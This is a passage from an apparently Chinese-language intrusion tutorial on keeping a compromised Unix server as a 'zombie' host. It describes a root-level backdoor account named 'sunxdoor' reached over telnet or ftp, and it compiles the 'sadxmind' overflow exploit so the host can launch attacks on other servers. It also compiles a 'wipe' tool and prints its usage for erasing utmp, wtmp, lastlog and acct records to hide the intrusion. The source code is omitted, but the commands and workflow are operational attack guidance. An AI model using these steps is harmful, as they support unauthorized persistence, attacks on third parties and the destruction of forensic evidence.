……
这样就安装好一个backdoor了
你可以telnet host(ftp也可以) 用sunxdoor这个用户名登陆(root权限)
作为肉鸡一定要可以作为入侵其他服务器的跳板,所以一些常见的溢出程序一定少不了.所以下一步是安装这些程序,我以sadxmind为例子.
# vi sad.c
……(程序内容省略)
:w
:q
#/usr/local/bin/gcc -o sad sad.c
#chmod 755 sad (这样就可以使用sad了)
恩~我们还缺少一样东西,哈哈~就是擦,的东西,基本就是清除utmp&utmpx&wtmp&wtmpx这几个文件(当
然还有其他一些log文件),我们可以利用wipe程序...
#vi wipe.c
……
#/usr/local/bin/gcc -o wipe wipe.c
#chmod 755 wipe
#wipe(看看使用参数)
USAGE: wipe [ u|w|l|a ] ...options...
UTMP editing:
Erase all usernames : wipe u [username]
Erase one username on tty: wipe u [username] [tty]
WTMP editing:
Erase last entry for user : wipe w [username]
Erase last entry on tty : wipe w [username] [tty]
LASTLOG editing:
Blank lastlog for user : wipe l [username]
Alter lastlog entry : wipe l [username] [tty] [time] [host]
Where [time] is in the format [YYMMddhhmm]
ACCT editing:
Erase acct entries on tty : wipe a [username] [tty]